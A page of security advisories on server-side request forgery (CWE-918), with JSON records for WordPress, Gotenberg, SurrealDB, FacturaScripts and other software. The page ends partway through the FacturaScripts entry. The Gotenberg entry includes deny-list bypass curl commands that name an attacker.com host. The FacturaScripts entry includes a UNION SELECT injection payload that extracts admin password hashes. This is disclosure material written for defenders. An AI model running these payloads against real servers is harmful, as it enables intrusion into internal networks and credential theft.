CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4654 vulnerabilities reference this CWE, most recent first.
GHSA-5Q6H-8RCF-7PHV
Vulnerability from github – Published: 2023-08-16 12:30 – Updated: 2024-04-04 06:59The Booking Manager WordPress plugin before 2.0.29 does not validate URLs input in it's admin panel or in shortcodes for showing events from a remote .ics file, allowing an attacker with privileges as low as Subscriber to perform SSRF attacks on the sites internal network.
{
"affected": [],
"aliases": [
"CVE-2023-1977"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-16T12:15:12Z",
"severity": "HIGH"
},
"details": "The Booking Manager WordPress plugin before 2.0.29 does not validate URLs input in it\u0027s admin panel or in shortcodes for showing events from a remote .ics file, allowing an attacker with privileges as low as Subscriber to perform SSRF attacks on the sites internal network.",
"id": "GHSA-5q6h-8rcf-7phv",
"modified": "2024-04-04T06:59:14Z",
"published": "2023-08-16T12:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1977"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/842f3b1f-395a-4ea2-b7df-a36f70e8c790"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5Q74-5W75-M9HP
Vulnerability from github – Published: 2022-05-14 03:38 – Updated: 2022-05-14 03:38Server Side Request Forgery (SSRF) vulnerability in SAP Central Management Console, BI Launchpad and Fiori BI Launchpad, 4.10, from 4.20, from 4.30, could allow a malicious user to use common techniques to determine which ports are in use on the backend server.
{
"affected": [],
"aliases": [
"CVE-2018-2370"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-14T12:29:00Z",
"severity": "MODERATE"
},
"details": "Server Side Request Forgery (SSRF) vulnerability in SAP Central Management Console, BI Launchpad and Fiori BI Launchpad, 4.10, from 4.20, from 4.30, could allow a malicious user to use common techniques to determine which ports are in use on the backend server.",
"id": "GHSA-5q74-5w75-m9hp",
"modified": "2022-05-14T03:38:06Z",
"published": "2022-05-14T03:38:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-2370"
},
{
"type": "WEB",
"url": "https://blogs.sap.com/2018/02/13/sap-security-patch-day-february-2018"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/2493727"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/102998"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5Q79-CFQM-5CXH
Vulnerability from github – Published: 2026-07-14 18:31 – Updated: 2026-07-14 18:31In Roundcube Webmail before 1.6.17 and 1.7.x before 1.7.2, insufficient Cascading Style Sheets (CSS) sanitization in HTML e-mail messages may lead to SSRF or Information Disclosure, e.g., if stylesheet links point to local network hosts. NOTE: this issue exists because of insufficient fixes for CVE-2026-35540 and CVE-2026-48843.
{
"affected": [],
"aliases": [
"CVE-2026-62643"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T16:17:04Z",
"severity": "HIGH"
},
"details": "In Roundcube Webmail before 1.6.17 and 1.7.x before 1.7.2, insufficient Cascading Style Sheets (CSS) sanitization in HTML e-mail messages may lead to SSRF or Information Disclosure, e.g., if stylesheet links point to local network hosts. NOTE: this issue exists because of insufficient fixes for CVE-2026-35540 and CVE-2026-48843.",
"id": "GHSA-5q79-cfqm-5cxh",
"modified": "2026-07-14T18:31:56Z",
"published": "2026-07-14T18:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62643"
},
{
"type": "WEB",
"url": "https://github.com/roundcube/roundcubemail/commit/294c7da6e7284166f040cef8607b677d459e0786"
},
{
"type": "WEB",
"url": "https://github.com/roundcube/roundcubemail/commit/6d69e094d55d3a9a84dfb36edf6ca985311f0c1c"
},
{
"type": "WEB",
"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.6.17"
},
{
"type": "WEB",
"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.7.2"
},
{
"type": "WEB",
"url": "https://roundcube.net/news/2026/07/05/security-updates-1.6.17-and-1.7.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5Q7J-8HPC-4848
Vulnerability from github – Published: 2022-05-14 01:38 – Updated: 2024-01-30 22:11An improper authorization vulnerability exists in Jenkins Mesos Plugin 0.17.1 and earlier in MesosCloud.java that allows attackers with Overall/Read access to initiate a test connection to an attacker-specified Mesos server with attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.17.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:mesos"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1000421"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-30T22:11:16Z",
"nvd_published_at": "2019-01-09T23:29:00Z",
"severity": "MODERATE"
},
"details": "An improper authorization vulnerability exists in Jenkins Mesos Plugin 0.17.1 and earlier in MesosCloud.java that allows attackers with Overall/Read access to initiate a test connection to an attacker-specified Mesos server with attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.",
"id": "GHSA-5q7j-8hpc-4848",
"modified": "2024-01-30T22:11:16Z",
"published": "2022-05-14T01:38:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000421"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2018-09-25/#SECURITY-1013%20(2)"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106532"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Server-side request forgery vulnerability in Jenkins Mesos Plugin"
}
GHSA-5Q7P-7JGV-WW56
Vulnerability from github – Published: 2026-04-30 17:19 – Updated: 2026-05-08 15:31Vulnerability Details
CWE: CWE-918 - Server-Side Request Forgery (SSRF)
The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns HTTP 403 (blocked), HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed, TCP connection attempted). Same pattern as CVE-2026-27018/GHSA-jjwv-57xh-xr6r but in newly added webhook+downloadFrom deny-lists (commit 3f01ca1, 2026-04-07). Affected versions: <= 8.30.1. CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N = 9.1.
Summary
The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally.
The same bypass (case-insensitive scheme) was previously reported for the Chromium deny-list in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but the newly added deny-lists for webhook and downloadFrom contain the identical flaw.
Affected file/function: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42 (default regex), pkg/modules/api/api.go:199 (default regex)
Steps to Reproduce
1. Start Gotenberg:
docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8
2. Baseline — lowercase http:// is blocked (HTTP 403):
curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
-H "Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback" \
-H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
-F "url=https://example.com/"
3. Bypass — uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted):
curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
-H "Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback" \
-H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
-F "url=https://example.com/"
# Returns 202 + Gotenberg logs: "Post \"http://172.17.0.1:12345/callback\": connection refused"
4. downloadFrom bypass (response content included in PDF):
curl -s -w "\nHTTP %{http_code}" http://localhost:3001/forms/chromium/convert/html \
-F 'files=@/dev/stdin;filename=index.html;type=text/html' \
-F 'downloadFrom=[{"url":"HTTP://172.17.0.1:12345/secret.html"}]' <<< '<html><body>test</body></html>'
# Error is "Unable to download file" (connection refused), not "filter URL" — bypass confirmed
Impact
An unauthenticated attacker can access internal network services (private IP ranges, loopback, link-local) that the deny-list was designed to block. The downloadFrom SSRF can exfiltrate content from internal services that respond with Content-Disposition headers. In cloud environments, this could allow access to instance metadata services (e.g., HTTP://169.254.169.254/latest/meta-data/). This bypasses the same security control that was patched in CVE-2026-27018.
Fix
Normalize the URL scheme to lowercase before passing to FilterDeadline, or compile deny-list regexes with the case-insensitive flag ((?i)).
Vulnerable Code
// See description for details
Steps to Reproduce
- Set up the application using the default configuration
- See the vulnerability details above
Impact
This vulnerability may allow an attacker to compromise the application.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.30.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40280"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-30T17:19:49Z",
"nvd_published_at": "2026-05-05T20:16:38Z",
"severity": "HIGH"
},
"details": "## Vulnerability Details\n\n**CWE**: CWE-918 - Server-Side Request Forgery (SSRF)\n\nThe default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go\u0027s net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns HTTP 403 (blocked), HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed, TCP connection attempted). Same pattern as CVE-2026-27018/GHSA-jjwv-57xh-xr6r but in newly added webhook+downloadFrom deny-lists (commit 3f01ca1, 2026-04-07). Affected versions: \u003c= 8.30.1. CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N = 9.1.\n\n## Summary\n\nThe default private-IP deny-lists for `--webhook-deny-list` and `--api-download-from-deny-list` use a case-sensitive regex (`^https?://`). Any uppercase URL scheme variant (`HTTP://`, `HTTPS://`, `Http://`) bypasses the pattern. Go\u0027s `net/url.Parse()` normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally.\n\nThe same bypass (case-insensitive scheme) was previously reported for the Chromium deny-list in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but the newly added deny-lists for webhook and downloadFrom contain the identical flaw.\n\n**Affected file/function**: `pkg/gotenberg/filter.go:FilterDeadline()`, `pkg/modules/webhook/webhook.go:42` (default regex), `pkg/modules/api/api.go:199` (default regex)\n\n## Steps to Reproduce\n\n```\n1. Start Gotenberg:\n docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8\n\n2. Baseline \u2014 lowercase http:// is blocked (HTTP 403):\n curl -s -w \"\\nHTTP %{http_code}\" -X POST http://localhost:3001/forms/chromium/convert/url \\\n -H \"Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback\" \\\n -H \"Gotenberg-Webhook-Events-Url: http://attacker.com/events\" \\\n -F \"url=https://example.com/\"\n\n3. Bypass \u2014 uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted):\n curl -s -w \"\\nHTTP %{http_code}\" -X POST http://localhost:3001/forms/chromium/convert/url \\\n -H \"Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback\" \\\n -H \"Gotenberg-Webhook-Events-Url: http://attacker.com/events\" \\\n -F \"url=https://example.com/\"\n # Returns 202 + Gotenberg logs: \"Post \\\"http://172.17.0.1:12345/callback\\\": connection refused\"\n\n4. downloadFrom bypass (response content included in PDF):\n curl -s -w \"\\nHTTP %{http_code}\" http://localhost:3001/forms/chromium/convert/html \\\n -F \u0027files=@/dev/stdin;filename=index.html;type=text/html\u0027 \\\n -F \u0027downloadFrom=[{\"url\":\"HTTP://172.17.0.1:12345/secret.html\"}]\u0027 \u003c\u003c\u003c \u0027\u003chtml\u003e\u003cbody\u003etest\u003c/body\u003e\u003c/html\u003e\u0027\n # Error is \"Unable to download file\" (connection refused), not \"filter URL\" \u2014 bypass confirmed\n```\n\n## Impact\n\nAn unauthenticated attacker can access internal network services (private IP ranges, loopback, link-local) that the deny-list was designed to block. The `downloadFrom` SSRF can exfiltrate content from internal services that respond with `Content-Disposition` headers. In cloud environments, this could allow access to instance metadata services (e.g., `HTTP://169.254.169.254/latest/meta-data/`). This bypasses the same security control that was patched in CVE-2026-27018.\n\n## Fix\n\nNormalize the URL scheme to lowercase before passing to `FilterDeadline`, or compile deny-list regexes with the case-insensitive flag (`(?i)`).\n\n### Vulnerable Code\n\n```go\n// See description for details\n```\n\n## Steps to Reproduce\n\n1. Set up the application using the default configuration\n2. See the vulnerability details above\n\n\n## Impact\n\nThis vulnerability may allow an attacker to compromise the application.",
"id": "GHSA-5q7p-7jgv-ww56",
"modified": "2026-05-08T15:31:30Z",
"published": "2026-04-30T17:19:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40280"
},
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/commit/3f01ca18d3cc21375a1e2da4b5a3f261c8548e47"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-jjwv-57xh-xr6r"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
},
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gotenberg has case-insensitive URL scheme that bypasses webhook and downloadFrom deny-list SSRF protection"
}
GHSA-5Q9X-554G-9JGG
Vulnerability from github – Published: 2025-04-11 14:09 – Updated: 2025-04-11 14:09SurrealDB offers http functions that can access external network endpoints. A typical, albeit not recommended configuration would be to start SurrealDB with all network connections allowed with the exception of a deny list. For example, surreal start --allow-net --deny-net 10.0.0.0/8 will allow all network connections except to the 10.0.0.0/8 block.
An authenticated user of SurrealDB can use redirects to bypass this restriction. For example by hosting a server on the public internet which redirects to the IP addresses blocked by the administrator of the SurrealDB server via HTTP 301 or 307 response codes.
When sending SurrealDB statements containing the http::* functions to the attacker controlled host, the SurrealDB server will follow the redirects to the blocked IP address. Because the statements also return the responses to the attacker, this issue constitutes a full SSRF vulnerability.
This issue was discovered and patched during an code audit and penetration test of SurrealDB by cure53, the severity as defined within cure53's preliminary finding is Medium, matched by our CVSS v4 assessment.
Impact
The impact of this vulnerability is circumvention of the --deny-net capability and resulting impact on systems external to SurrealDB. The ultimate impact is dependent on the deployment scenario.
For example, if the SurrealDB server blocks requests to internal and private IP addresses because they run services which don't require authentication, such as AWS deployments using IMDSv1, the attacker can access these internal endpoints directly, and potentially retrieve or even alter sensitive information and credentials.
The circumvention could also be used to redirect traffic to the SurrealDB port, providing a low level of impact to availability.
Patches
A patch has been created that adds an HTTP redirect limit, and checks HTTP redirects against allowed network targets, preventing redirections to disallowed uri's.
- Versions 2.0.5, 2.1.5, 2.2.2 and later are not affected by this issue.
Workarounds
The possibility of this vulnerability being exploited can be reduced by following an allowlist approach to enabling the http capability surreal start --allow-net 10.0.0.0/8 or using the equivalent SURREAL_CAPS_ALLOW_NET environment variable, where endpoints allowed are fully trusted and are not controlled by regular users.
The network access capability can be disabled, using --deny-net or the equivalent SURREAL_CAPS_DENY_NET environment variable without specifying targets, with impact to SurrealDB functionality.
As the impact of this vulnerability depends on the security of the deployment environment of SurrealDB, best practices should be followed within that environment.
References
#5597 SurrealDB Documentation - Environment Variables SurrealDB Documentation - Capabilities SurrealDB Documentation - Network Access Capability
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "surrealdb"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "surrealdb"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "surrealdb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-11T14:09:37Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "SurrealDB offers http functions that can access external network endpoints. A typical, albeit [not recommended ](https://surrealdb.com/docs/surrealdb/reference-guide/security-best-practices#example-deny-all-capabilities-with-some-exceptions) configuration would be to start SurrealDB with all network connections allowed with the exception of a deny list. For example, `surreal start --allow-net --deny-net 10.0.0.0/8` will allow all network connections except to the 10.0.0.0/8 block.\n\nAn authenticated user of SurrealDB can use redirects to bypass this restriction. For example by hosting a server on the public internet which redirects to the IP addresses blocked by the administrator of the SurrealDB server via HTTP 301 or 307 response codes. \n\nWhen sending SurrealDB statements containing the `http::*` functions to the attacker controlled host, the SurrealDB server will follow the redirects to the blocked IP address. Because the statements also return the responses to the attacker, this issue constitutes a full SSRF vulnerability.\n\nThis issue was discovered and patched during an code audit and penetration test of SurrealDB by cure53, the severity as defined within cure53\u0027s preliminary finding is Medium, matched by our CVSS v4 assessment.\n\n### Impact\n\nThe impact of this vulnerability is circumvention of the `--deny-net` capability and resulting impact on systems external to SurrealDB. The ultimate impact is dependent on the deployment scenario. \n\nFor example, if the SurrealDB server blocks requests to internal and private IP addresses because they run services which don\u0027t require authentication, such as AWS deployments using IMDSv1, the attacker can access these internal endpoints directly, and potentially retrieve or even alter sensitive information and credentials.\n\nThe circumvention could also be used to redirect traffic to the SurrealDB port, providing a low level of impact to availability. \n\n### Patches\nA patch has been created that adds an HTTP redirect limit, and checks HTTP redirects against allowed network targets, preventing redirections to disallowed uri\u0027s.\n\n- Versions 2.0.5, 2.1.5, 2.2.2 and later are not affected by this issue.\n\n### Workarounds\nThe possibility of this vulnerability being exploited can be reduced by following an allowlist approach to enabling the http capability `surreal start --allow-net 10.0.0.0/8 ` or using the equivalent `SURREAL_CAPS_ALLOW_NET` environment variable, where endpoints allowed are fully trusted and are not controlled by regular users.\n\nThe network access capability can be disabled, using `--deny-net` or the equivalent `SURREAL_CAPS_DENY_NET` environment variable without specifying targets, with impact to SurrealDB functionality.\n\nAs the impact of this vulnerability depends on the security of the deployment environment of SurrealDB, best practices should be followed within that environment.\n\n\n### References\n[#5597](https://github.com/surrealdb/surrealdb/pull/5597)\n[SurrealDB Documentation - Environment Variables](https://surrealdb.com/docs/surrealdb/cli/env)\n[SurrealDB Documentation - Capabilities](https://surrealdb.com/docs/surrealdb/security/capabilities)\n[SurrealDB Documentation - Network Access Capability](https://surrealdb.com/docs/surrealdb/security/capabilities#network)",
"id": "GHSA-5q9x-554g-9jgg",
"modified": "2025-04-11T14:09:37Z",
"published": "2025-04-11T14:09:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-5q9x-554g-9jgg"
},
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/pull/5597"
},
{
"type": "PACKAGE",
"url": "https://github.com/surrealdb/surrealdb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "SurrealDB bypass of deny-net flags via redirect results in server-side request forgery (SSRF)"
}
GHSA-5QHH-783C-VPMM
Vulnerability from github – Published: 2023-11-13 03:30 – Updated: 2026-04-28 21:33Server-Side Request Forgery (SSRF) vulnerability in PhonePe PhonePe Payment Solutions.This issue affects PhonePe Payment Solutions: from n/a through 1.0.15.
{
"affected": [],
"aliases": [
"CVE-2022-45835"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-13T03:15:07Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in PhonePe PhonePe Payment Solutions.This issue affects PhonePe Payment Solutions: from n/a through 1.0.15.",
"id": "GHSA-5qhh-783c-vpmm",
"modified": "2026-04-28T21:33:07Z",
"published": "2023-11-13T03:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45835"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/phonepe-payment-solutions/wordpress-phonepe-payment-solutions-plugin-1-0-15-server-side-request-forgery-ssrf?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5QMH-X653-G8QJ
Vulnerability from github – Published: 2026-07-14 17:11 – Updated: 2026-07-14 17:11Summary
Live PoC verified 2026-04-30 against a stock FacturaScripts master at
127.0.0.1:8081. A scopedApiKeywithfullaccess=0and anApiAccessrow grantingallowget=1on theclientesresource only (no other rights, no UI session, no admin) issued oneGET /api/3/clientes?filter[(0)UNION%20SELECT%20...]=request and the response body contained the raw bcrypt hash of the admin user's password ($2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO) and the admin'slogkeycookie value. The leakedlogkeywas injected into a fresh cookie jar andGET /AdminPluginsreturned 200 with the admin plugin management UI. End-to-end account takeover from a read-only token with no CSRF, no second factor, no rate-limit interaction beyond the default 5-incident IP throttle.
Core/Where.php::sqlColumn() exempts any field name that contains both ( and ) from identifier escaping. The two API filter builders (APIModel::getWhereValues and ApiAttachedFiles::getWhereValues) feed the raw request key ($_GET['filter'][$key]) straight into new DataBaseWhere($key, $value, '=', ...). When the model's all() reaches Where::multiSqlLegacy -> Where::sql() -> Where::sqlColumn($key), the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into WHERE <attacker> = '<value>', which an attacker can pivot to WHERE (0)UNION SELECT ... FROM users WHERE(nick='admin')-- = 'value', leaking arbitrary columns from any table.
Details
the API filter pipeline never validates filter keys
Core/Lib/API/APIModel.php:300-322 (listAll):
protected function listAll(): bool
{
$filter = $this->request->query->getArray('filter');
$limit = $this->request->query->getInt('limit', 50);
$offset = $this->request->query->getInt('offset', 0);
$operation = $this->request->query->getArray('operation');
$order = $this->request->query->getArray('sort');
// obtenemos los registros
$data = [];
$hidden = $this->model->getApiFieldsToHide();
$where = $this->getWhereValues($filter, $operation);
foreach ($this->model->all($where, $order, $offset, $limit) as $item) {
$data[] = $this->filterHidden($item->toArray(true), $hidden);
}
...
Core/Lib/API/APIModel.php:231-298 (getWhereValues):
private function getWhereValues($filter, $operation, $defaultOperation = 'AND'): array
{
$where = [];
foreach ($filter as $key => $value) {
$field = $key; // (1) raw request key
$operator = '=';
switch (substr($key, -3)) { // suffix routing only
case '_gt': $field = substr($key, 0, -3); $operator = '>'; break;
case '_is': $field = substr($key, 0, -3); $operator = 'IS'; break;
case '_lt': $field = substr($key, 0, -3); $operator = '<'; break;
}
...
if (!isset($operation[$key])) {
$operation[$key] = $defaultOperation;
}
$where[] = new DataBaseWhere($field, $value, $operator, $operation[$key]); // (2)
}
return $where;
}
The function only ever reads the suffix to decide an operator. The remaining identifier - up to 252 characters in MariaDB and unrestricted by the framework - is preserved verbatim and handed to DataBaseWhere. There is no allow-list of legal column names, no preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/') like the autocomplete hardening in BaseController::autocompleteAction (commit b8aa78b), and no plug-in hook through which the operator could intervene.
The exact same code (line-for-line, plus a files parameter) lives in Core/Controller/ApiAttachedFiles.php::getWhereValues (lines 172-239), so the bug is present on both the generic /api/3/<resource> route and the dedicated /api/3/attachedfiles route.
DataBaseWhere::getSQLWhere now delegates to Where::multiSqlLegacy
Core/Base/DataBase/DataBaseWhere.php is marked @deprecated and the active code path runs through Core/Where.php::multiSqlLegacy (lines 151-199), which converts each legacy DataBaseWhere instance to a Where:
if ($item instanceof DataBaseWhere) {
$dbWhere = new self($item->fields, $item->value, $item->operator, $item->operation, $item->useField ?? false);
...
$sql .= $dbWhere->sql();
...
}
Where::sql() (lines 316-403) finally calls self::sqlColumn($field) for the identifier in every operator branch, including the = branch the attacker reaches.
Where::sqlColumn returns parenthesised inputs untouched
Core/Where.php:407-425:
private static function sqlColumn(string $field): string
{
// si lleva paréntesis, no escapamos
if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
return $field; // (3) raw concatenation
}
// si empieza por integer, hacemos el cast
if (substr($field, 0, 8) === 'integer:') {
return self::db()->castInteger(substr($field, 8));
}
// si empieza por lower, hacemos el lower
if (substr($field, 0, 6) === 'lower:') {
return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
}
return self::db()->escapeColumn($field);
}
The intent of the early-return appears to be supporting expression columns like LOWER(col) and UPPER(col) in select, where, and groupBy builder calls, but the check is purely string presence: any input containing both ( and ) is whitelisted, with no constraint on what the string actually is. The same exemption affects every consumer that routes through Where::sqlColumn, including select(), whereLike(), whereIn(), etc. (Core/Where.php:317-405).
what an attacker submits
Reaching the sink requires the two characters ( and ) somewhere in the filter key. The attacker therefore passes:
filter[(0)UNION SELECT IFNULL(password,2),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 FROM users WHERE(nick='admin')-- ]=
URL encoded for HTTP transport:
filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=
The clientes table has 32 columns; the UNION mirrors that count so the database accepts the merged result set. The trailing -- swallows the rest of the framework's appended SQL (= '<value>' LIMIT 50 OFFSET 0). The result is one record whose first column is the admin's password hash, returned in the JSON body's cifnif key (the first column in the original query's SELECT *).
why the getApiFieldsToHide() defence does not apply
Commit 736b811 added getApiFieldsToHide() to the User model, which redacts password, logkey, and two_factor_secret_key from the JSON serialiser:
public function getApiFieldsToHide(): array
{
return ['password', 'logkey', 'two_factor_secret_key'];
}
This works for GET /api/3/users requests by a fullaccess token: the model loads, then filterHidden() removes the columns. The protection is bound to the model class that is being serialised. The SQL-injection path returns rows in the clientes model serialiser, so the leaked column lands in cifnif (or any other column the attacker chooses for the first UNION position) and is never put through Cliente::getApiFieldsToHide() (which does not include password/logkey because the clientes table has no such columns). The deny-list is irrelevant.
why the sort (ORDER BY) hardening does not apply either
Commit 1b6cdfa added strict regex validation to DbQuery::orderBy (Core/DbQuery.php:289-307), constraining parenthesised input to RAND() | RANDOM() | LOWER(...) | UPPER(...) | CAST(... AS ...) | COALESCE(..., literal). That fix correctly walls off SQL injection in the sort parameter. It does not touch Where::sqlColumn, which retains the original string-presence exemption.
PoC
Setup (one-time, by admin):
# Issue an ApiKey scoped to clientes GET only.
mysql -u fs -pfs facturascripts <<'SQL'
INSERT INTO api_keys (apikey, creationdate, description, enabled, fullaccess, nick)
VALUES ('low-scoped-token-clientes-only', NOW(), 'scoped low-priv', 1, 0, 'lowpriv');
INSERT INTO api_access (idapikey, resource, allowget, allowpost, allowput, allowdelete)
SELECT id, 'clientes', 1, 0, 0, 0 FROM api_keys WHERE apikey='low-scoped-token-clientes-only';
SQL
